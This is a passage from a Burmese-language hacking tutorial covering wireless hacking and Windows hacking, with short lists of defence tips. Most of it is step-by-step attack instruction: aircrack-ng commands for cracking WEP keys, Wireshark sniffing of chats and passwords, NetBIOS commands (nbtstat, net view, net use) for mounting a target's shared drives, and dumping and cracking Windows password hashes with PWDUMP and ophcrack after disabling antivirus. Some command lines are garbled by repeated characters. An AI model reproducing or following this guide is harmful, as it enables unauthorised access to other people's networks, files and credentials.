programming knowledge Aမ်ားႀကီးရွိမွ ျဖစ္မွာေလ။ 

 
 
 
 
 
 
 



Network Hacking ကို ကာကြယ္ျခင္း 

 Network hacking ကိုကာကြယ္ႏိုင္မယ့္ နည္းလမ္းAနည္းငယ္ကေတာ့… 

၁. သြင္းထားတဲ့ Software ေတြ Aၿမဲ up to date ျဖစ္ပါေစ။ Software ေတြမွာ Vulnerabilities 

ေတြAၿမဲ ရွိေနတတ္စၿမပဲါ။ ဒါေၾကာင့္ Aဲဒီ Vulnerability ေတြကုိ ျပင္ဆင္ထားတဲ့ patch ေတြကို 

software company ေတြ ထုတ္တိုင္း ခ်က္ခ်င္း patch လုပ္ပါ။ 

၂. Firewall သုံးစြဲပါ။ 

၃. Anti-virus software မ်ား သုံးပါ။ 

၄. Vulnerability scanner နဲ႕ သင့္ system ကို scan စစ္ပါ။ 

 

 
 
 
 
 
 
 
 
 
 
 
 
 



 
 
 
 
 
 
 

Chapter Six 
Wireless Hacking 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 ဒီေန႕ေခတ္မွာ Wireless hotspot ေတြ ေတာ္ေတာ္မ်ားလာပါၿပီ။ wireless enabled laptop 

နဲ႕တင္ Internet Aသုံးျပဳေနႏိုင္ပါၿပီ။ ဒီ Chapter မွာ Secure Wireless Network ေတြကိုထဲကို 

ဟကၠာေတြ ထိုးေဖာက္ႏိုင္မယ့္ နည္းလမ္းေတြနဲ႕ Aဲဒီ network ထဲကုိ ဟကၠာ၀င္ေရာက္ႏိုင္သြားရင္ သူ 

ဘာေတြလုပ္ႏိုင္မလဲဆိုတာ ေဆြးေႏြးပါမယ္။ 

 

Scanning for Wireless Networks 

ဒီ က႑Aတြက္ Wireless Card/Adapter တစ္ခု ရွိဖို႕လိုပါတယ္။ ပထမဆုံး A နီးA နားမွာ Wireless 

network ေတြရွိမရွိ A ရင္ဆုံး scan ဖတ္ပါမယ္။ Windows မွာ A သုံးျပဳႏုိင္မယ့္ NetStumbler tool 

ကိုA သုံးျပဳပါမယ္။ http://www.netstumbler.com/downloads/ ကေန download လုပ္ယူပါ။ Mac 

user ေတြကေတာ့ http://www.macstumbler.com/ မွာ သြားၿပီးေလ့လာၾကည့္ပါ။ ဒီေတြနဲ႕ A လားတူ 

program ေတြကေတာ့… 

- Kismet for Windows and Linux. http://www.kismetwireless.net/ 

- KisMac for Mac. http://kismac.macpirate.ch/download.php 

 

၁. NetStumbler ကို download လုပ္ၿပီး သြင္းလိုက္ပါ။ 

၂. ၿပီးရင္ Run လုိက္ပါ။ Wireless Access Point ေတြကို A လိုA ေလ်ာက္စၿပီး scan လုပ္ပါလိမ့္မယ္။ 

၃. Scan လုပ္ၿပီးသြားရင္ ကိုယ့္A နားရွိတဲ့ Wireless Access Point ေတြA ားလုံးကို ျပပါလိမ့္မယ္။ 

ပုံ - 57 

 
 



၄. ေတြ႕ခဲ့တဲ့ Wireless Network တစ္ခုရဲ႕ MAC address ကို ကလစ္ႏွိပ္ၾကည့္ရင္ Aဲဒီ wireless 

network ရဲ႕ signal strength ကိုျပတဲ့ graph တစ္ခုေတြ႕ရပါမယ္။ Aစိမ္းေရာင္ေတြမ်ားေလ signal 

Aားေကာင္းေလပါပဲ။ 

ပုံ - 58 

 
 
၅. NetStumbler ဟာ wireless network တစ္ခုရဲ႕ SSID ကိုသာမက MAC address, Channel 

numberနဲ႕ encryption type Aျပင္ တစ္ျခား ေျမာက္ျမားစြာ ေဖာ္ျပေပးပါတယ္။ ဒီAခ်က္ေတြ 

Aားလုံးဟာ Encryption ကို crack ဖို႕Aတြက္ Aသုံး၀င္တဲ့ Aခ်က္ေတြခ်ည္းပါပဲ။ Common 

encryption type ေတြကေတာ့… 

WEP (Wired Equivalent Privacy) – WEP ဟာ လုံၿခံဳမႈ မရွိေတာ့ပါဘူး။ WEP key ကို 

လြယ္လြယ္ကူကူ crack ႏုိင္မယ့္ နည္းလမ္းေတြ Aမ်ားႀကီး ေတြ႕ရွိေနပါၿပီ။ 

WAP (Wireless Application Protocol) – လက္ရွိမွာေတာ့ WAP ဟာ Wireless network ကို 

Aျပည့္A၀ လုံၿခံဳမႈေပးႏိုင္မယ့္ဟာပါပဲ။ WAP key ကို crack ခ်င္ရင္ WEP key လို crack ရ မလြယ္ကူ 

ပါဘူး။ Brute-force ဒါမွမဟုတ္ Dictionary attack ေတြနဲ႕သာ ရႏိုင္ပါမယ္။ ကိုယ့္ key ဟာ 

လုံၿခံဳမႈျပည့္၀ရင္ Dictionary attack နဲ႕လည္း မ crack ႏိုင္ပါ။ Brute-force နဲ႕ဆိုလည္း 

ဆယ္စုႏွစ္ေတြသာ တစ္ခုၿပီး တစ္ခုေျပာင္းသြားပါမယ္၊ မရႏိုင္ပါ။ ဒါေၾကာင့္ ဟကၠာAမ်ားစုဟာ ဒီAတြက္ 

Aပင္ပန္းေတာင္ မခံၾကတာေပါ့။ 

 
 
 



Cracking WEP 

ဒီAခန္းမွာ WEP ကို crack ဖို႕Aတြက္ BackTrack လို႕ေခၚတဲ့ Live Linux Distribution 

တစ္ခုကို Aသုံးျပဳပါမယ္။ WEP ကို crack ဖုိ႕ BackTrack မွာ Software ေတြ တစ္ျဗဳတ္ႀကီး ပါပါတယ္။ 

စမလုပ္ခင္ Requirement ႏွစ္ခုရွိပါတယ္။ 

၁. Wireless Adapter http://www.aircrack-ng.org/doku.php?id=compatible_cardsတစ္ခုပါတဲ့ 

Computer တစ္လုံးလိုပါတယ္။ 

၂. BackTrack Live CD တစ္ခ်ပ္ လိုပါတယ္။ 

 

BackTrack မွာပါတဲ့ tool ေတြထကဲ A သုံးျပဳမယ့္ tool ေတြကေတာ့… 

1. Kismet – Wireless Network Detector 

2. airodump – captures packets from a wireless router 

3. aireplay – forges ARP requests 

4. aircrack – decrypts the WEP keys 

ကဲ စမယ္…. 

၁. ပထမဆုံး Wireless access point တစ္ခုနဲ႕ သူ႕ရဲ႕ bssid, essid and channel number 

ေတြကိုရွာရပါမယ္။ terminal ထဲ၀င္၊ kismet လို႕ရိုက္ထည့္ၿပီး Kismet ကို run လိုက္ပါ။ ကိုယ့္စက္မွာ 

တပ္ထားတဲ့ adapter name ကို ေတာင္းပါလိမ့္မယ္။ iwconfig လို႕ရိုက္ထည့္ၿပီး ကိုယ့္ device 

နာမည္ကို ၾကည့္လို႕ရပါတယ္။ ဒီ example မွာေတာ့ adapter name က ath0 

ပုံ - 59 

 
 
၂. ေနာက္ဟာေတြ ဆက္လုပ္ႏိုင္ဖို႕ ကိုယ့္ Wireless adapter ဟာ Monitor mode ျဖစ္ေနဖို႕လိုပါတယ္။ 

Kismet က ဒါကို A လိုA ေလ်ာက္လုပ္ေပးပါတယ္။ 

 
 



၃. Kismet ထမဲွာ Y/N/O ဆုိတဲ့ flag ေတြကို ေတြ႕ရပါမယ္။ encryption type ရဲ႕ Aတိုေကာက္ 

စာလုံးေတြပါ။ ဒီ example ဟာ WEP key ကိုရွာမွာျဖစ္တဲ့Aတြက္ WEP encryption နဲ႕ Access Point 

ကိုသာ ရွာရပါမယ္။ 

Y=WEP 

N=OPEN 

O=OTHER (A မ်ားA ားျဖင့္ WAP) 

 

၄. Access Point ကုိေတြ႕ၿပီဆိုရင္ notepad ကိုဖြင့္ၿပီး network broadcast name (essid), mac 

address (bssid) နဲ႕ channel number တို႕ကို မွတ္လိုက္ပါ။ ဒီA ခ်က္ေတြကို ရဖို႕ Access Point ကို 

arrow key နဲ႕ေရႊ႕သြားၿပီး enter ႏွိပ္လိုက္ရင္ ရပါတယ္။ 

ပုံ - 60 

 
 
၅. ေနာက္တစ္ဆင့္ကေတာ့ A ဲဒီ access point ဆီက data ေတြကို airodump နဲ႕ collect လုပ္ဖို႕ပါ။ 

terminal A သစ္တစ္ခုဖြင့္လိုက္ၿပီး ေA ာက္က command ကိုရိုက္ထည့္ပါ။ 

airodumpairodumpairodumpairodump----ng ng ng ng ––––c [channel#] c [channel#] c [channel#] c [channel#] ––––w [filename] w [filename] w [filename] w [filename] ––––bssid [bssid] [device]bssid [bssid] [device]bssid [bssid] [device]bssid [bssid] [device]    

 

A ေပၚက command မွာ airodump-ng က program ကို စrun ေပးလိုက္ၿပီး။ သင္ေတြ႕တဲ့ access 

point ရဲ႕ channel ကို -c ေနာက္မွာ ထည့္။ output data ေတြကို သိမ္းမယ့္ဖိုင္နာမည္ကို -w 

ေနာက္မွာထည့္။ access point ရဲ႕ MAC Address ကို -bssid ေနာက္မွာထည့္။ ေနာက္ဆုံးမွာက device 

name ကိုထည့္။ command ေတြမွာ bracket ေတြထည့္ရိုက္စရာ မလိုပါ။ 

 

၆. A ေပၚက run နဲ႕ terminal ကို ဒီA တိုင္းထားလိုက္ၿပီး terminal A သစ္တစ္ခု ထပ္ဖြင့္လိုက္ပါ။ data 

output speed ပိုျမန္လာေA ာင္လို႕ access point ဆီကို fake package ေတြ generate လုပ္ပါမယ္။ 

A သစ္ဖြင့္ထားတဲ့ terminal ထမဲွာ ေA ာက္က command ကိုရိုက္ပါ။ 

aireplayaireplayaireplayaireplay----ng ng ng ng ----1 0 1 0 1 0 1 0 ----a [bssid] a [bssid] a [bssid] a [bssid] ----h 00:11:22:33:44:55:66 h 00:11:22:33:44:55:66 h 00:11:22:33:44:55:66 h 00:11:22:33:44:55:66 ----e [essid] [device]e [essid] [device]e [essid] [device]e [essid] [device]    

    



ဒီ command ကေတာ့ aireply-ng နဲ႕ aireply ကို run လိုက္ပါတယ္။ Aဲဒီေနာက္က -1 ကေတာ့ fake 

authentication လုပ္မယ္လို႕ေျပာၿပီး -a က target access point ရဲ႕ mac address၊ -h က ကိုယ့္ 

wireless adapter ရဲ႕ mac address၊ -e က access point ရဲ႕ essid name နဲ႕ ေနာက္ဆုံးကေတာ့ 

ကိုယ့္ wireless adapter device name ကို ထည့္ရမွာပါ။ 

 
၇. Aခု target access point ကို packet ေတြAမ်ားႀကီး ထုတ္လႊတ္ေAာင္ လုပ္ေပးၾကပါမယ္။ Aဲဒီ 

packet ေတြထကဲမွ WEP key ကို crack ဖုိ႕ ႀကိဳးပမ္းၾကရမွာေလ။ ေAာက္က command ကို execute 

လုပ္ၿပီးတာနဲ႕ airodump-ng terminal ကိုၾကည့္ၾကည့္ပါ။ ARP packet ေတြစၿပီးတိုးလာေနတာကို 

ေတြ႕တာရမွာပါ။ command ကေတာ့… 

aireplayaireplayaireplayaireplay----ng ng ng ng ----3 3 3 3 ----b [bssid] b [bssid] b [bssid] b [bssid] ----h 00:11:22:33:44:5:66 [device]h 00:11:22:33:44:5:66 [device]h 00:11:22:33:44:5:66 [device]h 00:11:22:33:44:5:66 [device]    

    

ဒီ command ထကဲ -3 ကေတာ့ packet injection နဲ႕ attack လုပ္ဖို႕ ညႊန္ၾကားတာပါ။ 

 

၈. 50k-500k packets ေလာက္ collect လုပ္ၿပီးသြားရင္ WEP key ကိုစၿပီး ရွာလို႕ရပါၿပီ။ cracking 

process ကို စတင္ေပးမယ့္ command ကေတာ့… 

aircrackaircrackaircrackaircrack----ng ng ng ng ----a 1 a 1 a 1 a 1 ----b [bssid] b [bssid] b [bssid] b [bssid] ----n 128 [filename].ivsn 128 [filename].ivsn 128 [filename].ivsn 128 [filename].ivs    

    

ဒီ command ထကဲ -a 1 က WEP attack mode ကိုေျပာင္းခိုင္းၿပီး -b က MAC address, -n 128 က 

WEP Key length ကိုေျပာတာပါ။ -n ကိုသိပ္မသိရင္ ထားခဲ့လိုက္ပါ။ WEP key ကို စကၠန္႕ပိုင္းA တြင္း 

crack ေပးပါလိမ့္မယ္။ packets ေတြ capture မ်ားမ်ားလုပ္ထားေလ၊ crack တဲ့ေနရာမွာ 

A ခြင့္A ေရးပိုရွိေလပါပဲ။  

ပုံ - 61 

 



Computer ေတြ Network adapter ေတြ Aမ်ိဳးAစားေပါင္းမ်ားစြာရွိလို႕ ဒီလို crack ၾကည့္တဲ့ေနရာမွာ 

error ေတြေတြ႕ရမွာပါ။ ဒီလို ျဖစ္ၿပီဆိုရင္ Google က သင့္ရဲ႕ မိတ္ေဆြဆိုတာကို မွတ္မိတယ္ေနာ္။ 

Aဲဒါနဲ႕ ရွာၾကည့္ပါ။ Aေျဖကို ေတြ႕ႏိုင္မွာပါ။ 

 

 

 

Packet Sniffing 

Packet Sniffing ကိုလက္ေတြ႕လုပ္ျပဖို႕Aတြက္ Wireshark ကို Aသံုးျပဳလုပ္ျပသြားပါမယ္။ Packet 

Sniffing ဆို network တစ္ခုAတြင္းက packet ေတြကို ဖမ္းယူတဲ့ နည္းပညာပါ။ ဟကၠာတစ္ေယာက္ 

ဟာ Packet Sniffer တစ္ခုကိုသုံးၿပီး Wireless Network ရဲ႕ access ကိုရရွိသြားၿပီဆိုရင္ Aဲဒီ network 

က username တို႕၊ password တို႕၊ email တို႕ကို သူ Aကုန္သိရွိသြားႏိုင္ပါတယ္။ Example 

တစ္ခုလုပ္ျပပါမယ္။ 

၁. http://www.wireshark.org/ ကေန Wireshark ကို download လုပ္ၿပီး သြင္းလိုက္ပါ။ 

၂. ၿပီးရင္ run လုိက္ၿပီး List the available capture interfaces ဆိုတဲ့ option တစ္ခုကို click 

ႏွိပ္လိုက္ပါ။ 

ပုံ - 62 

 
 
 
 
 
 
 
 
 



၃. Target ကိုေရြးၿပီး Start ကို ႏွိပ္ပါ။ 

၄. ဘယ္ဟာကို ေရြးရမလဲ မသိရင္ ခဏေစာင့္ၾကည့္ၿပီး Packets ေနရာမွာAမ်ားဆုံး တစ္ခုကိုေရြးပါ။ 

Packets ေတြမ်ားမ်ားျပေနတာဟာ Aဲဒီ target က user ဟာ active ျဖစ္ေနတယ္ဆိုတာကို ျပတာပါပဲ။ 

ပုံ - 63 

 
 
၅. Wireshark Aလုပ္လုပ္ပုံကို ျပႏိုင္ဖို႕Aတြက္ Target computer ကေန MSN messenger 

ကိုAသုံးျပဳၿပီး Message တစ္ခုပို႕ျပပါမယ္။ ေAာက္ပုံမွာ ျမင္ရတဲ့Aတိုင္းပဲ ကိုယ္ေျပာေနတာေတြ 

Aားလုံးကို Wireshark နဲ႕ဖမ္းမိပါတယ္။ မလိုAပ္တဲ့ တစ္ျခား data ေတြကို စစ္ထုတ္ၿပီး Windows Live 

နဲ႕ဆိုင္တဲ့ Packet ေတြကိုပဲ capture လုပ္ဖို႕Aတြက္ “msnms” ဆိုတာကို Filter: ထမဲွာ 

ရိုက္ထည့္ပါတယ္။  

ပုံ - 64, 65 

 

 
 



၆. ပုံမွာျမင္တဲ့Aတိုင္းပါပဲ ေျပာေနတဲ့စကားေတြကို Aားလုံးျပေနပါတယ္။ Username ေတြ Password 

ေတြကိုလည္း ဒီနည္းAတိုင္းပဲ capture ဖမ္းပါတယ္။ Aကယ္၍ ဒီ username ေတြ password ေတြဟာ 

encrypt မလုပ္ထားဘူးဆိုရင္ plain text Aေနနဲ႕ကို ျမင္ရပါလိမ့္မယ္။ 

 

တစ္ျခားAသုံး၀င္တဲ့ Sniffing Programs ေတြကေတာ့… 

WinDump – http://netgroup.polito.it/tools 

Snort – http://www.snort.org/ 

Dsniff – http://monkey.org/~dugsong/dsniff/ 

 
 
 
Wireless Network Hacker မ်ားရန္မွ ကာကြယ္နည္းမ်ား 

၁. သင့္ router ေတြရဲ႕ default password ကိုေျပာင္းလဲလိုက္ပါ။ WAP encryption ကိုလည္း enable 

လုပ္ထားပါ။ သင့္ router ဟာ WAP option မပါဘူးဆိုရင္ WEP ကိုသုံးပါ။ 

၂. Router password ကို ရွည္ရွည္ေပးပါ။ numbers, lowercase letters, uppercase letters and 

other symbols ေတြ A ားလုံးပါ၀င္ပါေစ။ password ဟာ ရႈပ္ေလ ေကာင္းေလပါပဲ။ 

၃. သင့္ Router ဟာ SSID ကို broadcast မလုပ္တဲ့ option ပါ၀င္ပါေစ။ ဒါမွ Net Stumbler လို 

ပရိုဂရမ္ေတြနဲ႕ သင့္ရဲ႕ Wireless network ကို ရွာမေတြ႕ႏိုင္မွာပါ။ 

၄. Router ရဲ႕ MAC filtering ကိုA သုံးျပဳပါ။ Wireless card/adapter ေတြတုိင္းမွာ MAC address 

ေတြရွိၾကပါတယ္။ 

၅. Packet Sniffing attack ရန္ကေန ကာကြယ္ဖို႕ A ေရးႀကီးတဲ့ site ေတြကို 

သြားေရာက္A သုံးျပဳတဲ့A ခါ SSL (Secure Socket Layer) encryption ကိုA သုံးျပဳပါ။ SSL enabled 

ျဖစ္တဲ့ဆိုဒ္ေတြရဲ႕ URL ဟာ https:// နဲ႕စပါတယ္။ 

 
 
 
 
 
 
 
 
 
 
 
 



ဤစာမ်က္ႏွာAား တမင္တကာ Aလြတ္ခ်န္ထားခဲ့ျခင္း ျဖစ္သည္။ 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
 
 
 
 
 

Chapter Seven 
Windows Hacking 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



NetBIOS 

NetBIOS ဆိုတာ Network Basic Input Output System ရဲ႕Aတုိေကာက္ပါ။ သင့္ရဲ႕ LAN or 

WAN ေပၚက drives, folders, files and printers ေတြကို share လုပ္ဖို႕ခြင့္ျပဳေပးတဲ့ဟာပါ။ NetBIOS 

ကေနတဆင့္ ကြန္ပ်ဴတာတစ္လုံးရဲ႕ access ကိုရယူရတာ A ရမ္းရိုးစင္းလြယ္ကူပါတယ္။ Target 

computer က file and printer ကို enable လုပ္ထားၿပီး port 139 ပြင့္ေနဖို႕ပဲလိုပါတယ္။ NetBIOS 

ကေနတဆင့္ Windows machine တစ္ခုရဲ႕ access ကိုဘယ္လို ရယူမလဲဆိုတာ ေA ာက္မွာ 

ေျပာျပပါ့မယ္။ 

၁. ပထမဆုံး Target ကို ရွာပါမယ္။ ဒီလိုရွာတဲ့ေနရာမွာ ဟကၠာေတြ A မ်ားဆုံးသုံးၾကတဲ့ Tool ကေတာ့ 

Angry IP Scanner ျဖစ္ပါတယ္။ http://www.angryziber.com/w/Download ကေန Download 

လုပ္ၿပီး သြင္းလိုက္ပါ။ 

 

၂. ၿပီးရင္ Scan လုပ္ခ်င္တဲ့ IP range ကိုသတ္မွတ္ပါ။ WLAN (Wireless Local Area Network) 

တစ္ခုကို ခ်ိတ္ဆက္ခဲ့တယ္ဆိုရင္ ေA ာက္ကA တိုင္း Local Computers ေတြကို scan စစ္ပါလိမ့္မယ္။ 

ပုံ - 66 

 
 
၃. ဟကၠာရဲ႕ရည္ရြယ္ခ်က္က port 139 မွာ run ေနတဲ့ NetBIOS ကေနတဆင့္ access 

ကိုရယူဖို႕ျဖစ္တာေၾကာင့္ ေတြ႕ရွိတဲ့ host ေတြရဲ႕ ဒီ port ကိုေရြးၿပီး scan လုပ္ပါမယ္။ ညာဘက္က 

Downward arrow ပုံေလးကို click လိုက္ၿပီး Scan Port ကို check ေပးလိုက္ပါ။ Port A သစ္ကို 

ေရြးမလားလို႕ေမးတဲ့ Popup box တစ္ခုေပၚလာပါမယ္။ YES ကိုႏွိပ္ပါ။ 

ပုံ - 67 

 
 
 



၄. Ports: Aကြက္မွာ 139 လို႕ ရိုက္ထည့္ၿပီး OK ကိုႏွိပ္ပါ။ 
ပုံ - 68 

 
 
၅. Start ကိုႏွိပ္ပါ။ စၿပီး scan လုပ္ပါလိမ့္မယ္။ Aားလုံးၿပီးသြားၿပဆီိုရင္ result ကိုျပတဲ့ box တစ္ခု 

တက္လာပါမယ္။ 

ပုံ - 69 

 
 
 
 
 
 
 
 
 
 
 
 



၆. IP ေပါင္း 224 ခုကို စစ္ခဲ့ေၾကာင္း၊ Aဲဒီထဲက တစ္ခုပဲ active ျဖစ္ေၾကာင္းနဲ႕ Aဲဒီတစ္ခုကလည္း port 

139 ပြင့္ေနေၾကာင္း Aေပၚကပုံမွာေတြ႕ရမွာပါ။ 

ပုံ - 70 

 
 
၇. Common Prompt ကိုဖြင့္ဖုိ႕ Start -> Run -> ကိုသြားၿပီး cmdcmdcmdcmd  လို႕ရိုက္ထည့္ -> ၿပီးရင္ <Enter> 

ကုတ္ပါ။ 

 

၈. ၿပီးရင္ “nbtstat –a TargetIPaddress” လို႕ရိုက္ထည့္ပါ။ target မွာ file နဲ႕ printing ကို share 

enable ေပးထားရင္ ေAာက္ကAတိုင္းျပပါလိမ့္မယ္။ 

 



 
၉. Aေပၚကပုံမွာ DAVIDS-MACHINE က target computer ရဲ႕နာမည္ပါ။ A ဲဒီနာမည္ရဲ႕ ေဘးမွာ 

နံပါတ္ <20> ဆိုတာကုိေတြ႕မွာပါ။ ဒါဆို file and printer sharing enable ျဖစ္ေနပါတယ္။ <20> 

ဆိုတာတစ္ခုမွ မေတြ႕ရင္ေတာ့ ဆက္လုပ္လို႕မရပါဘူး။ target A သစ္သာ ဆက္ရွာပါေတာ့။ 

 

၁၀. “net view \\TargetIPaddress” ဆိုတဲ့ command ကုိရိုက္ပါ။ share လုပ္ထားတဲ့ drives, 

folders, files and printers ေတြကို ျပမယ့္ command ပါ။ ဒါရိုက္လို႕မွ ဘာမွ မေပၚလာဘူးဆိုရင္ 

target မွာ ဘာကိုမွ share မလုပ္ထားပါဘူး။ ဒါဆို access ကိုရဖို႕ ဆက္လုပ္လို႕မရပါဘူး။ ဒီ example 

မွာေတာ့ ေA ာက္ပါA တိုင္း ေပၚလာပါတယ္။ 

ပုံ - 72 

 
 
၁၁. Printer ႏွစ္လုံးနဲ႕ SharedDocs ဆိုတဲ့ Disk တစ္ခုကို share ေပးထားပါတယ္။ ဒါဆို ဟကၠာဟာ  

printer ေတြကို ထိန္းခ်ဳပ္ရၿပီး SharedDocs ထဲက A ရာA ားလုံးကိုလည္း ၾကည့္လို႕ရပါၿပီ။ 

 

၁၂. SharedDocs Disk ကို access ရဖို႕ A ဲဒီ drive ကို ဟကၠာရဲ႕ computer ထဲကို ကူးယူရပါမယ္။ 

“net use G: \\TargetIPaddress\DriveName” ဆိုတဲ့ command ကိုရိုက္ထည့္ပါ။ G: ဆိုတဲ့ေနရာမွာ 

ႀကိဳက္တဲ့စာလုံးကို ထည့္ႏိုင္ပါတယ္။ drive ကို ကိုယ့္ကြန္ပ်ဴတာထဲမွာ ဘာနာမည္နဲ႕သိမ္းမယ္ဆိုတာကို 

ေျပာတာပါပဲ။ 

ပုံ - 73 

 
 
 
 



၁၃. Aေပၚက ပုံမွာ ပထမတစ္ေခါက္ G: နဲ႕ map out လုပ္တဲ့Aခါ ကိုယ့္ computer ထဲမွာ G နဲ႕ drive 

ရွိေနၿပီးသားလို႕ error တက္ပါတယ္။ ဒီလိုတူေနရင္ တစ္ျခား စာလုံးတစ္လုံးေျပာင္းေပးလိုက္ပါ။ 

 

၁၄. Aားလုံးၿပီးသြားရင္ My Computer ထဲသြားၾကည့္ပါ။ Network Drives ေAာက္မွာ drive 

Aသစ္တစ္ခု ေရာက္ေနတာ ေတြ႕ရပါလိမ့္မယ္။ Aဲဒါဟာ target ရဲ႕ SharedDocs drive ႀကီးပါပဲ။ 

ဖြင့္ၾကည့္လိုက္ရင္ သူ႕ရဲ႕ documents Aားလံုးကို ေတြ႕ရပါလိမ့္မယ္။ 

ပုံ - 74 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



Cracking Windows Passwords 

Windows XP နဲ႕ Windows Vista password ေတြကို crack ဖို႕ ophcrack 

http://ophcrack.sourceforge.net/ ဆိုတဲ့ program တစ္ခုကို Aသုံးျပဳပါမယ္။ Ophcrack ဟာ 

Windows password cracker သက္သက္ပါ။ ျမန္ျမန္ဆန္ဆန္ crack ႏုိင္ဖို႕Aတြက္ rainbow table ကုိ 

Aသုံးျပဳပါတယ္။ XP နဲ႕ Vista ႏွစ္ခုလုံးက password ေတြကို crack ႏုိင္ေပမယ့္ XP မွာ 

ပိုၿပီးAဆင္ေျပပါတယ္။ Windows password ေတြမွာ Aသုံးျပဳတဲ့ hash ေတြထဲက တစ္ခုက LM (Lan 

Manager) hash ပါ။ password တစ္ခုဟာ 7 လံုးထက္ေက်ာ္သြားရင္ chunk 7 ခုခြဲလိုက္ၿပီး 

စာလုံးAားလုံးကို uppercase ကိုေျပာင္းလိုက္ပါတယ္။ DES encryption နဲ႕ hash လုိက္ပါတယ္။ ဒီလို 

Aပိုင္းေလးေတြAျဖစ္ ခြဲလုိက္တာရယ္၊ uppercase ေျပာင္းလိုက္တာ ရယ္ေတြေၾကာင့္ crack ရတာ 

ပိုလြယ္သြားပါတယ္။ Windows password ကို ေAာက္ပါ ႏွစ္ေနရာမွာ သိမ္းပါတယ္။ 

- C:\WINDOWS\system32\config ဆိုတဲ့ directory ထဲမွာ 

- registry: HKEY_LOCAL_MACHINESAM ထဲမွာ ဒါေပမယ့္ ႏွစ္ေနရာစလုံးမွာ password ပါတဲ့ဖိုင္ကို 

access မေပးပါဘူး။ 

 ဒါဆို ဒီ hash ေတြကို ဘယ္လို ေကာ္ပီလုပ္ၾကမလဲ? ႏွစ္နည္း ရွိပါတယ္။ 

- Linux live CD နဲ႕ boot လုပ္ၿပီး SAM file ကို USB ထဲ ေကာ္ပီလုပ္ထည့္တာက တစ္နည္း 

- Ophcrack ထမဲွာပါတဲ့ PWDUMP ဆိုတဲ့ program ကုိသုံးၿပီး registry ကို လွည့္စားတဲ့နည္း 

တို႕ျဖစ္ပါတယ္။ 

 

၁. ပထမဆုံး Ophcrack ကို ေဒါင္းၿပီး install လုပ္ပါ။ version ႏွစ္ခုရွိပါတယ္။ A ခုA ရင္ဆုံးေျပာမွာက 

windows မွာ Install လုပ္ၿပီး A သုံးျပဳနည္းျဖစ္တဲ့A တြက္ ပထမ တစ္ခုကို ေဒါင္းပါ။ 

ပုံ - 75 

 
 
 
 
 
 



၂. ေဒါင္းၿပီးရင္ သြင္းလိုက္ပါ။ rainbow table ကို ေဒါင္းမလားလုိ႕ ေမးတဲ့ option ေပၚလာရင္ 

Aကုန္လုံးကို uncheck လုပ္ပစ္ၿပီး program ကိုသာ သြင္းလိုက္ပါ။ rainbow table ကိုေနာက္မွ 

သပ္သပ္ ေဒါင္းတာ ပိုေကာင္းပါတယ္။ 

ပုံ - 76 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



၃. သြင္းၿပီသြားရင္ Ophcrack website ကိုသြားၿပီး navigation က Tables 

http://ophcrack.sourceforge.net/tables.php ကို click လုိက္ပါ။ download လုပ္ႏုိင္မယ့္ table ေတြ 

Aားလုံးကိုျပပါလိမ့္မယ္။ character ပိုစုံေလ size ပိုႀကီးေလဆိုတာကို ေတြ႕ပါလိမ့္မယ္။ ကိုယ့္ရဲ႕ 

operating system နဲ႕ ကိုက္ညီမယ့္ table ကိုေရြးလိုက္ပါ။ 

ပုံ - 77၊ 78 

 



 
 
၄. ဒီ example မွာေတာ့ XP free fast ကိုေရြးၿပီး ေဒါင္းလိုက္ပါတယ္။ ၿပီးရင္ ophcrack ကိုဖြင့္ၿပီး tables 

ဆုိတာကို ကလစ္ႏွိပ္ပါ။ ေဒါင္းထားတဲ့ table ကိုေရြးၿပီး Install ကိုႏွိပ္ပါ။ ၿပီးရင္ OK ကို ႏွိပ္ပါ။ 

ပုံ - 79 

 



၅. Password hashes ကိုရယူဖို႕ PWDUMP ကို run ပါမယ္။ anit-virus, anti-spyware စတ့ဲ 

Aန္တီေတြ Aားလုံးကို disable လုပ္ထားပါ။ PWDUMP ဟာ system file ေတြကို access 

လုပ္တဲ့Aတြက္ သူ႕ကို malicious program ဆိုၿပီး ထေAာ္တတ္လို႕ပါ။ disable မလုပ္ထားရင္ hash 

ကို ေဖာ္ထုတ္တာ ေAာင္ျမင္မွာ မဟုတ္ပါဘူး။ 

 

၆. Load ကုိ ကလစ္ႏွိပ္ၿပီး Local SAM ကို ေရြးပါ။ မိမိကြန္ပ်ဴတာေပၚက user ေတြA ားလုံးရ႕ဲ password 

hash ေတြကို ျပပါလိမ့္မယ္။ 

ပုံ - 80 

 
 
၇. Crack ကိုႏွိပ္လိုက္ပါ။ စၿပီး password hash ေတြကို crack ပါလိမ့္မယ္။ 
၈. Crack လို႕ၿပီးၿပီဆိုရင္ ေA ာက္ကပုံလို screen တစ္ခုကို ျမင္ရပါမယ္။ 
ပုံ - 81 

 



၉. ေတြ႕တဲ့Aတိုင္းပါပဲ မိနစ္Aနည္းငယ္Aတြင္းမွာတင္ Aေကာင့္သုံးခုမွာ ႏွစ္ခုရဲ႕ password ကို crack 

လိုက္ပါတယ္။ 

Bob : lolcatslolcatslolcatslolcats 

David M : not foundnot foundnot foundnot found 

Pushkin : Christmas02Christmas02Christmas02Christmas02    

    
 
 
Ophcrack LiveCD 

 Aခု ေနာက္တစ္နည္းျဖစ္တဲ့ LiveCD နဲ႕ crack တာကို ေျပာပါ့မယ္။ 

၁. Ophcrack website http://ophcrack.sourceforge.net/download.php?type=livecd ကိုသြားၿပီး ကိုယ့္ OS 

နဲ႕ကိုက္မယ့္ LiveCD ကိုေဒါင္းလိုက္ပါ။ 

၂. ရလာတဲ့ .ISO file ကို Linux chapter မွာတုန္းက Ubuntu LiveCD ကို ခုတ္ခဲ့သလို ခုတ္လိုက္ပါ။ 

၃. ခုတ္ၿပီးရင္ Aဲဒီေခြကို CD-drive ထထဲည့္ၿပီး cd ကေန boot တက္လိုက္ပါ။ 

၄. ေAာက္ပါ screen ကိုျမင္ရပါလိမ့္မယ္။ 

ပုံ - 82 

 



၅. Ophcrack Graphic mode ထကဲို ၀င္ဖို႕ enter ကုတ္ ဒါမွမဟုတ္ 6 စကၠန္႕ေစာင့္ပါ။ 

တစ္ခုခုမွားေနလို႕ Graphic mode နဲ႕တက္မလာရင္ restart ျပန္ခ်ၿပီး Ophcrack Graphic VESA mode 

